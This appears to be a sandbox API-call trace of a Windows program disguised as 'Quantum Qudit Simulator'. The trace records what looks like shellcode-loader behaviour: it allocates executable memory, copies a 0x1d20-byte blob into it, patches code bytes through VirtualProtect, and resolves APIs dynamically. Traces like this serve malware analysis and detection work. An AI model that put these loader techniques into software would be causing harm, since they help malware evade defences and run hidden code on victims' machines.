0 [0037.854] GlobalUnlock (hMem=0x24f0024) returned 0 [0037.854] SelectObject (hdc=0x3001024b, h=0x185000f) returned 0x340509cb [0037.854] DeleteObject (ho=0x340509cb) returned 1 [0037.854] ReleaseDC (hWnd=0x0, hDC=0x460107ac) returned 1 [0037.855] GlobalUnlock (hMem=0x24f000c) returned 0 [0037.855] SendMessageA (hWnd=0x50114, Msg=0x80, wParam=0x0, lParam=0x900d7) returned 0x0 [0037.855] GetCapture () returned 0x0 [0037.855] GetCapture () returned 0x0 [0037.855] NtdllDefWindowProc_A (hWnd=0x50114, Msg=0x80, wParam=0x0, lParam=0x900d7) returned 0x0 [0037.855] IUnknown:Release (This=0x660270) returned 0x0 [0037.856] IsIconic (hWnd=0x50114) returned 0 [0037.856] IsZoomed (hWnd=0x50114) returned 0 [0037.856] GetClientRect (in: hWnd=0x50114, lpRect=0x18fbec | out: lpRect=0x18fbec) returned 1 [0037.856] GetWindow (hWnd=0x50114, uCmd=0x5) returned 0x60106 [0037.857] GetWindow (hWnd=0x60106, uCmd=0x2) returned 0x50162 [0037.857] GetParent (hWnd=0x60106) returned 0x50114 [0037.857] GetWindow (hWnd=0x50162, uCmd=0x2) returned 0x0 [0037.857] GetParent (hWnd=0x50162) returned 0x50114 [0037.857] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xfc) returned 0x266da10 [0037.857] GetCurrentThreadId () returned 0x43c [0037.857] GetCurrentThreadId () returned 0x43c [0037.857] GetCurrentThreadId () returned 0x43c [0037.857] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x18) returned 0x26619c8 [0037.857] SetWindowTextA (hWnd=0x5011c, lpString="Quantum Qudit Simulator") returned 1 [0037.857] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0xc, wParam=0x0, lParam=0x26619c8) returned 0x1 [0037.857] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x1) returned 0x266db18 [0037.857] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x18) returned 0x26619e8 [0037.857] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x18) returned 0x2661a08 [0037.857] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661a28 [0037.857] GetCurrentThreadId () returned 0x43c [0037.858] GetCurrentThreadId () returned 0x43c [0037.858] GetCurrentThreadId () returned 0x43c [0037.858] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x18) returned 0x2661a48 [0037.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2661a48, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0037.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2661a48, cbMultiByte=-1, lpWideCharStr=0x649ffc, cchWideChar=24 | out: lpWideCharStr="Quantum Qudit Simulator") returned 24 [0037.858] HeapFree (in: hHeap=0x2650000, dwFlags=0x0, lpMem=0x2661a48 | out: hHeap=0x2650000) returned 1 [0037.858] LoadLibraryA (lpLibFileName="VERSION.DLL") returned 0x755b0000 [0037.949] GetLastError () returned 0x0 [0037.949] GetProcAddress (hModule=0x755b0000, lpProcName="VerQueryValueA") returned 0x755b1b72 [0037.949] GetProcAddress (hModule=0x755b0000, lpProcName="GetFileVersionInfoSizeA") returned 0x755b1c9c [0037.949] GetProcAddress (hModule=0x755b0000, lpProcName="GetFileVersionInfoA") returned 0x755b1ced [0037.949] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18f75c, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\quantumquditsimulator.exe")) returned 0x3f [0037.949] GetFileVersionInfoSizeA (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", lpdwHandle=0x18f89c | out: lpdwHandle=0x18f89c) returned 0x4ec [0037.950] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x4ec) returned 0x266db28 [0037.950] GetFileVersionInfoA (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", dwHandle=0x0, dwLen=0x4ec, lpData=0x266db28 | out: lpData=0x266db28) returned 1 [0037.950] VerQueryValueA (in: pBlock=0x266db28, lpSubBlock="\\", lplpBuffer=0x18f8a0, puLen=0x18f8a4 | out: lplpBuffer=0x18f8a0*=0x266db50, puLen=0x18f8a4) returned 1 [0037.950] HeapFree (in: hHeap=0x2650000, dwFlags=0x0, lpMem=0x266db28 | out: hHeap=0x2650000) returned 1 [0037.950] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18f75c, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\quantumquditsimulator.exe")) returned 0x3f [0037.950] GetFileVersionInfoSizeA (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", lpdwHandle=0x18f89c | out: lpdwHandle=0x18f89c) returned 0x4ec [0037.950] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x4ec) returned 0x266db28 [0037.950] GetFileVersionInfoA (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", dwHandle=0x0, dwLen=0x4ec, lpData=0x266db28 | out: lpData=0x266db28) returned 1 [0037.951] VerQueryValueA (in: pBlock=0x266db28, lpSubBlock="\\", lplpBuffer=0x18f8a0, puLen=0x18f8a4 | out: lplpBuffer=0x18f8a0*=0x266db50, puLen=0x18f8a4) returned 1 [0037.951] HeapFree (in: hHeap=0x2650000, dwFlags=0x0, lpMem=0x266db28 | out: hHeap=0x2650000) returned 1 [0037.951] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18f75c, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\quantumquditsimulator.exe")) returned 0x3f [0037.951] GetFileVersionInfoSizeA (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", lpdwHandle=0x18f89c | out: lpdwHandle=0x18f89c) returned 0x4ec [0037.951] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x4ec) returned 0x266db28 [0037.951] GetFileVersionInfoA (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", dwHandle=0x0, dwLen=0x4ec, lpData=0x266db28 | out: lpData=0x266db28) returned 1 [0037.951] VerQueryValueA (in: pBlock=0x266db28, lpSubBlock="\\", lplpBuffer=0x18f8a0, puLen=0x18f8a4 | out: lplpBuffer=0x18f8a0*=0x266db50, puLen=0x18f8a4) returned 1 [0037.951] HeapFree (in: hHeap=0x2650000, dwFlags=0x0, lpMem=0x266db28 | out: hHeap=0x2650000) returned 1 [0037.952] GetUserDefaultLCID () returned 0x409 [0037.952] VarBstrFromI2 (iVal=1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f930) returned 0x0 [0037.952] GetUserDefaultLCID () returned 0x409 [0037.952] VarBstrFromI2 (iVal=0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f930*="") returned 0x0 [0037.952] GetUserDefaultLCID () returned 0x409 [0037.952] VarBstrFromI2 (iVal=42, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f930*="") returned 0x0 [0037.954] GetCurrentThreadId () returned 0x43c [0037.954] GetCurrentThreadId () returned 0x43c [0037.954] GetCurrentThreadId () returned 0x43c [0037.954] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x18) returned 0x2661a48 [0037.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2661a48, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0037.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2661a48, cbMultiByte=-1, lpWideCharStr=0x649ffc, cchWideChar=24 | out: lpWideCharStr="Quantum Qudit Simulator") returned 24 [0037.954] HeapFree (in: hHeap=0x2650000, dwFlags=0x0, lpMem=0x2661a48 | out: hHeap=0x2650000) returned 1 [0037.954] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18f75c, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\quantumquditsimulator.exe")) returned 0x3f [0037.954] GetFileVersionInfoSizeA (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", lpdwHandle=0x18f89c | out: lpdwHandle=0x18f89c) returned 0x4ec [0037.955] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x4ec) returned 0x266db28 [0037.955] GetFileVersionInfoA (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", dwHandle=0x0, dwLen=0x4ec, lpData=0x266db28 | out: lpData=0x266db28) returned 1 [0037.955] VerQueryValueA (in: pBlock=0x266db28, lpSubBlock="\\", lplpBuffer=0x18f8a0, puLen=0x18f8a4 | out: lplpBuffer=0x18f8a0*=0x266db50, puLen=0x18f8a4) returned 1 [0037.955] HeapFree (in: hHeap=0x2650000, dwFlags=0x0, lpMem=0x266db28 | out: hHeap=0x2650000) returned 1 [0037.955] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18f75c, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\quantumquditsimulator.exe")) returned 0x3f [0037.955] GetFileVersionInfoSizeA (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", lpdwHandle=0x18f89c | out: lpdwHandle=0x18f89c) returned 0x4ec [0037.955] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x4ec) returned 0x266db28 [0037.955] GetFileVersionInfoA (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", dwHandle=0x0, dwLen=0x4ec, lpData=0x266db28 | out: lpData=0x266db28) returned 1 [0037.955] VerQueryValueA (in: pBlock=0x266db28, lpSubBlock="\\", lplpBuffer=0x18f8a0, puLen=0x18f8a4 | out: lplpBuffer=0x18f8a0*=0x266db50, puLen=0x18f8a4) returned 1 [0037.955] HeapFree (in: hHeap=0x2650000, dwFlags=0x0, lpMem=0x266db28 | out: hHeap=0x2650000) returned 1 [0037.955] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18f75c, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\quantumquditsimulator.exe")) returned 0x3f [0037.955] GetFileVersionInfoSizeA (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", lpdwHandle=0x18f89c | out: lpdwHandle=0x18f89c) returned 0x4ec [0037.955] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x4ec) returned 0x266db28 [0037.956] GetFileVersionInfoA (in: lptstrFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuantumQuditSimulator.exe", dwHandle=0x0, dwLen=0x4ec, lpData=0x266db28 | out: lpData=0x266db28) returned 1 [0037.956] VerQueryValueA (in: pBlock=0x266db28, lpSubBlock="\\", lplpBuffer=0x18f8a0, puLen=0x18f8a4 | out: lplpBuffer=0x18f8a0*=0x266db50, puLen=0x18f8a4) returned 1 [0037.956] HeapFree (in: hHeap=0x2650000, dwFlags=0x0, lpMem=0x266db28 | out: hHeap=0x2650000) returned 1 [0037.956] GetUserDefaultLCID () returned 0x409 [0037.956] VarBstrFromI2 (iVal=1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f930) returned 0x0 [0037.956] GetUserDefaultLCID () returned 0x409 [0037.956] VarBstrFromI2 (iVal=0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f930*="") returned 0x0 [0037.956] GetUserDefaultLCID () returned 0x409 [0037.956] VarBstrFromI2 (iVal=42, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f930*="") returned 0x0 [0037.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f940, cbMultiByte=1, lpWideCharStr=0x64b074, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f940, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f940, cbMultiByte=1, lpWideCharStr=0x64b0a4, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0037.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f940, cbMultiByte=1, lpWideCharStr=0x64b0bc, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0037.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f940, cbMultiByte=1, lpWideCharStr=0x64b0d4, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0037.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f940, cbMultiByte=1, lpWideCharStr=0x64b0ec, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0037.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f940, cbMultiByte=1, lpWideCharStr=0x64b104, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0037.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f93c, cbMultiByte=1, lpWideCharStr=0x64b11c, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0037.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f93c, cbMultiByte=1, lpWideCharStr=0x64b14c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0037.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f93c, cbMultiByte=1, lpWideCharStr=0x64b17c, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0037.957] GetUserDefaultLCID () returned 0x409 [0037.957] VarI4FromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x0, plOut=0x18f934 | out: plOut=0x18f934) returned 0x0 [0037.957] GetUserDefaultLCID () returned 0x409 [0037.957] VarI4FromStr (in: strIn="&H1000", lcid=0x409, dwFlags=0x0, plOut=0x18f930 | out: plOut=0x18f930) returned 0x0 [0037.957] SetErrorMode (uMode=0x8001) returned 0x8001 [0037.957] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0037.957] SetErrorMode (uMode=0x8001) returned 0x8001 [0037.957] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0037.957] VirtualAlloc (lpAddress=0x0, dwSize=0x1d20, flAllocationType=0x1000, flProtect=0x40) returned 0x240000 [0037.958] GetLastError () returned 0x0 [0037.958] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x140) returned 0x266db28 [0037.958] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x30) returned 0x266dc70 [0037.958] GetCurrentThreadId () returned 0x43c [0037.958] GetCurrentThreadId () returned 0x43c [0037.958] GetCurrentThreadId () returned 0x43c [0037.958] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661a48 [0037.958] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x14) returned 0x2661a68 [0037.958] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x140) returned 0x266dca8 [0037.959] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x30) returned 0x266ddf0 [0037.959] GetCurrentThreadId () returned 0x43c [0037.959] GetCurrentThreadId () returned 0x43c [0037.959] GetCurrentThreadId () returned 0x43c [0037.959] lstrcmpiA (lpString1="Printer", lpString2="Printer") returned 0 [0037.959] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x14) returned 0x2661a88 [0037.959] GetProfileStringA (in: lpAppName="Windows", lpKeyName="device", lpDefault="", lpReturnedString=0x18f498, nSize=0x100 | out: lpReturnedString="Send To OneNote 2010,winspool,nul:") returned 0x22 [0037.960] lstrlenA (lpString="Send To OneNote 2010") returned 20 [0037.960] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x2a) returned 0x266de28 [0037.960] lstrcpyA (in: lpString1=0x266de28, lpString2="Send To OneNote 2010" | out: lpString1="Send To OneNote 2010") returned="Send To OneNote 2010" [0037.960] lstrlenA (lpString="winspool") returned 8 [0037.960] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x9) returned 0x2665740 [0037.960] lstrcpyA (in: lpString1=0x2665740, lpString2="winspool" | out: lpString1="winspool") returned="winspool" [0037.960] lstrlenA (lpString="nul:") returned 4 [0037.960] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x20) returned 0x266de60 [0037.960] lstrcpyA (in: lpString1=0x266de60, lpString2="nul:" | out: lpString1="nul:") returned="nul:" [0037.961] lstrlenA (lpString="winspool") returned 8 [0037.961] lstrlenA (lpString=".drv") returned 4 [0037.961] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xd) returned 0x2665758 [0037.961] lstrcpyA (in: lpString1=0x2665758, lpString2="winspool" | out: lpString1="winspool") returned="winspool" [0037.961] lstrcatA (in: lpString1="winspool", lpString2=".drv" | out: lpString1="winspool.drv") returned="winspool.drv" [0037.961] LoadLibraryA (lpLibFileName="WINSPOOL.DRV") returned 0x75550000 [0038.160] GetLastError () returned 0x7a [0038.160] GetProcAddress (hModule=0x75550000, lpProcName="DocumentPropertiesA") returned 0x7555a642 [0038.160] GetProcAddress (hModule=0x75550000, lpProcName="DeviceCapabilitiesA") returned 0x7555aa78 [0038.160] GetProcAddress (hModule=0x75550000, lpProcName="OpenPrinterA") returned 0x755574d6 [0038.161] GetProcAddress (hModule=0x75550000, lpProcName="ClosePrinter") returned 0x7556cae7 [0038.161] OpenPrinterA (in: pPrinterName="Send To OneNote 2010", phPrinter=0x18f588, pDefault=0x0 | out: phPrinter=0x18f588*=0x661b14) returned 1 [0046.448] DocumentPropertiesA (in: hWnd=0x0, hPrinter=0x661b14, pDeviceName="Send To OneNote 2010", pDevModeOutput=0x0, pDevModeInput=0x0, fMode=0x0 | out: pDevModeOutput=0x0) returned 936 [0048.408] ClosePrinter (hPrinter=0x661b14) returned 1 [0048.408] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x3a8) returned 0x266de88 [0048.408] OpenPrinterA (in: pPrinterName="Send To OneNote 2010", phPrinter=0x18f588, pDefault=0x0 | out: phPrinter=0x18f588*=0x6637c4) returned 1 [0048.409] DocumentPropertiesA (in: hWnd=0x0, hPrinter=0x6637c4, pDeviceName="Send To OneNote 2010", pDevModeOutput=0x266de88, pDevModeInput=0x0, fMode=0x2 | out: pDevModeOutput=0x266de88) returned 1 [0048.416] ClosePrinter (hPrinter=0x6637c4) returned 1 [0048.416] HeapFree (in: hHeap=0x2650000, dwFlags=0x0, lpMem=0x2665758 | out: hHeap=0x2650000) returned 1 [0048.417] CreateDCA (pwszDriver="winspool", pwszDevice="Send To OneNote 2010", pszPort="nul:", pdm=0x0) returned 0x462101b3 [0048.505] SetAbortProc (hdc=0x462101b3, proc=0x729ac3c9) returned 1 [0048.507] Escape (in: hdc=0x462101b3, iEscape=13, cjIn=0, pvIn=0x0, pvOut=0x18f65c | out: pvOut=0x18f65c) returned 1 [0048.507] GetDeviceCaps (hdc=0x462101b3, index=90) returned 600 [0048.507] Escape (in: hdc=0x462101b3, iEscape=12, cjIn=0, pvIn=0x0, pvOut=0x18f5ac | out: pvOut=0x18f5ac) returned 1 [0048.507] GetDeviceCaps (hdc=0x462101b3, index=88) returned 600 [0048.507] Escape (in: hdc=0x462101b3, iEscape=12, cjIn=0, pvIn=0x0, pvOut=0x18f5ac | out: pvOut=0x18f5ac) returned 1 [0048.507] GetDeviceCaps (hdc=0x462101b3, index=90) returned 600 [0048.507] GetTextMetricsA (in: hdc=0x462101b3, lptm=0x18f5d0 | out: lptm=0x18f5d0) returned 1 [0048.512] SetBkMode (hdc=0x462101b3, mode=1) returned 2 [0048.512] OleTranslateColor () returned 0x0 [0048.512] CreatePen (iStyle=0, cWidth=1, color=0x0) returned 0x23300992 [0048.512] SelectObject (hdc=0x462101b3, h=0x23300992) returned 0x1b00017 [0048.512] SelectObject (hdc=0x462101b3, h=0x1900011) returned 0x1900010 [0048.512] SetBrushOrgEx (in: hdc=0x462101b3, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0048.512] UnrealizeObject (h=0x1900015) returned 1 [0048.512] SelectObject (hdc=0x462101b3, h=0x1900015) returned 0x1900011 [0048.512] SelectObject (hdc=0x462101b3, h=0x18a002e) returned 0x18a0022 [0048.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Arial", cchWideChar=-1, lpMultiByteStr=0x18f588, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Arial", lpUsedDefaultChar=0x0) returned 6 [0048.513] lstrlenA (lpString="Arial") returned 5 [0048.513] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x6) returned 0x266e238 [0048.513] lstrcpyA (in: lpString1=0x266e238, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0048.513] GetDeviceCaps (hdc=0x462101b3, index=90) returned 600 [0048.514] CreateFontIndirectA (lplf=0x18f5b4) returned 0xd0a0996 [0048.514] HeapFree (in: hHeap=0x2650000, dwFlags=0x0, lpMem=0x266e238 | out: hHeap=0x2650000) returned 1 [0048.514] SelectObject (hdc=0x462101b3, h=0xd0a0996) returned 0x18a002e [0048.514] GetTextMetricsA (in: hdc=0x462101b3, lptm=0x18f624 | out: lptm=0x18f624) returned 1 [0048.514] GetDeviceCaps (hdc=0x462101b3, index=90) returned 600 [0048.514] GetDeviceCaps (hdc=0x462101b3, index=10) returned 6250 [0048.514] SelectObject (hdc=0x462101b3, h=0x18a002e) returned 0xd0a0996 [0048.514] DeleteObject (ho=0xd0a0996) returned 1 [0048.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Arial", cchWideChar=-1, lpMultiByteStr=0x18f588, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Arial", lpUsedDefaultChar=0x0) returned 6 [0048.514] lstrlenA (lpString="Arial") returned 5 [0048.514] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x6) returned 0x266e238 [0048.515] lstrcpyA (in: lpString1=0x266e238, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0048.515] GetDeviceCaps (hdc=0x462101b3, index=90) returned 600 [0048.515] CreateFontIndirectA (lplf=0x18f5b4) returned 0xe0a0996 [0048.515] HeapFree (in: hHeap=0x2650000, dwFlags=0x0, lpMem=0x266e238 | out: hHeap=0x2650000) returned 1 [0048.515] SelectObject (hdc=0x462101b3, h=0xe0a0996) returned 0x18a002e [0048.515] GetTextMetricsA (in: hdc=0x462101b3, lptm=0x18f624 | out: lptm=0x18f624) returned 1 [0048.515] SetErrorMode (uMode=0x8001) returned 0x8001 [0048.515] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0048.515] SetErrorMode (uMode=0x8001) returned 0x8001 [0048.516] GetProcAddress (hModule=0x76d30000, lpProcName="RtlMoveMemory") returned 0x77ca3c40 [0048.516] RtlMoveMemory (in: Destination=0x240000, Source=0x460a90, Length=0x1d20 | out: Destination=0x240000) [0048.516] GetLastError () returned 0x0 [0048.516] GetUserDefaultLCID () returned 0x409 [0048.516] VarBstrFromI2 (iVal=3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f818*="叻犢乧犢吋犢吕犢吝犢吾犢呃犢吾犢叡犢叡犢习犢吋犢习犢习犢叡犢叡犢叡犢吂犢叻犢乧犢吋犢吕犢吝犢吾犢呃犢吾犢叡犢叮犢叮犢吋犢习犢习犢叡犢叡犢叡犢吂犢厁犢乧犢厒犢厛犢厰犢发犢取犢发犢卧犢卧犢习犢厒犢习犢习犢卧犢卧犢卧犢厈犢厁犢乧犢厒犢厛犢厰犢发犢取犢发犢卧犢却犢却犢厒犢习犢习犢卧犢卧犢卧犢厈犢匁犢乧犢匑犢匡犢匯犢南犢卜犢南犢勡犢勡犢习犢匈犢习犢习犢勡犢勡犢勡犢匈犢匁犢乧犢匑犢匡犢匯犢南犢卜犢南犢勡犢勱犢勱犢匈犢习犢习犢勡犢勡犢勡犢匈犢痿꼩￿싉\x04痿꽫￿痿넮￿痿놑￿??ས䊶昈䊉?ࡂ쳫䋛?ࡂ?␜ә?꣠琍⋩\x02䋙?ࡂꛫ櫟?ﰵꑴ?ࡪ㗘瓼犤?␜ӝ?ࡂ뻫櫟?ﰵꑴﾳࡵ㓨ﾯｪ￿痿놬￿巩￿㏿诀ｔ￿똏ࡂ쁩✐") returned 0x0 [0048.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f828, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f828, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f828, cbMultiByte=1, lpWideCharStr=0x64b1ac, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f828, cbMultiByte=1, lpWideCharStr=0x64b0a4, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f828, cbMultiByte=1, lpWideCharStr=0x64b1c4, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.516] GetUserDefaultLCID () returned 0x409 [0048.516] VarI4FromStr (in: strIn="&h40", lcid=0x409, dwFlags=0x0, plOut=0x18f818 | out: plOut=0x18f818) returned 0x0 [0048.516] GetUserDefaultLCID () returned 0x409 [0048.516] VarI4FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, plOut=0x18f814 | out: plOut=0x18f814) returned 0x0 [0048.517] VirtualProtect (in: lpAddress=0x460790, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18f850 | out: lpflOldProtect=0x18f850*=0x20) returned 1 [0048.517] RtlMoveMemory (in: Destination=0x460790, Source=0x18f854, Length=0x1 | out: Destination=0x460790) [0048.517] GetLastError () returned 0x0 [0048.518] RtlMoveMemory (in: Destination=0x460791, Source=0x18f850, Length=0x4 | out: Destination=0x460791) [0048.518] GetLastError () returned 0x0 [0048.519] VarFormat (in: pvarIn=0x18f894, pstrFormat="Currency", iFirstDay=1, iFirstWeek=1, dwFlags=0x0, pbstrOut=0x18f778 | out: pbstrOut=0x18f778*="$0.00") returned 0x0 [0048.522] GetUserDefaultLCID () returned 0x409 [0048.523] GetUserDefaultLCID () returned 0x409 [0048.523] GetUserDefaultLCID () returned 0x409 [0048.523] LoadStringW (in: hInstance=0x0, uID=0xa0, lpBuffer=0x66c6ac, cchBufferMax=260 | out: lpBuffer="kernel32") returned 0x8 [0048.524] VarCmp (pvarLeft=0x18f8ec, pvarRight=0x18f804, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.524] SetErrorMode (uMode=0x8001) returned 0x8001 [0048.535] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0048.536] SetErrorMode (uMode=0x8001) returned 0x8001 [0048.536] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleW") returned 0x76d434b0 [0048.536] GetModuleHandleW (lpModuleName="kernel32") returned 0x76d30000 [0048.536] GetLastError () returned 0x0 [0048.536] LoadStringW (in: hInstance=0x0, uID=0xa1, lpBuffer=0x66c8c4, cchBufferMax=260 | out: lpBuffer="VirtualAlloc") returned 0xc [0048.536] SysStringLen (param_1="VirtualAlloc") returned 0x104 [0048.536] SetErrorMode (uMode=0x8001) returned 0x8001 [0048.536] LoadLibraryA (lpLibFileName="oleaut32") returned 0x76e40000 [0048.536] SetErrorMode (uMode=0x8001) returned 0x8001 [0048.537] 